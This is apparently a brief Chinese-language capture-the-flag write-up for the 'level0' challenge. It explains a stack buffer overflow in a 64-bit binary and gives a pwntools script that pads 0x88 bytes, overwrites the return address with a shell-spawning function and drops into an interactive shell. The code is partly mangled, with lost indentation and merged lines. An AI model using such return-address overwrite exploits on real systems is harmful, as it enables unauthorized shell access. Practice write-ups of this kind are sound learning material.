小白垃圾做题笔记而已,不建议阅读。。。
这道题感觉主要就是64位程序ebp=8
题目中给出了shellcode
我们直接将返回地址覆盖就好。
在main函数中调用了vulnerable_function()函数。
vulnerable函数是一个漏洞函数:(存在缓溢出),我们只需要将buf溢出到返回地址,返回地址覆盖为sys函数地址即可。
exp:这里用下大佬的模板。
from pwn import *
debug=1
if debug:
p=process('./level0')
#p=process('',env={'LD_PRELOAD':'./libc.so'})
context.log_level='debug'
pause()
# gdb.attach(p)
else:
p=remote('')def ru(x):
return p.recvuntil(x)def se(x):
p.send(x)
sys_add=0x040059A
payload='a'*0x88+p64(sys_add)
ru(' World\n')
se(payload)p.interactive()
ok